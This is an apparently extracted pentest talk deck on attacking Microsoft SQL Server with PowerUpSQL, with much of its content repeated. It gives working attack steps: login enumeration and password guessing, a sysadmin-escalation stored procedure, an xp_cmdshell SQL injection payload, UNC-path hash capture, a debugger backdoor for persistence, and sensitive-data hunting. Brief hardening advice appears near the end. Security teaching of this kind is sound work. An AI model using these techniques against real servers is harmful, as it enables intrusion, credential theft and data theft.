PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
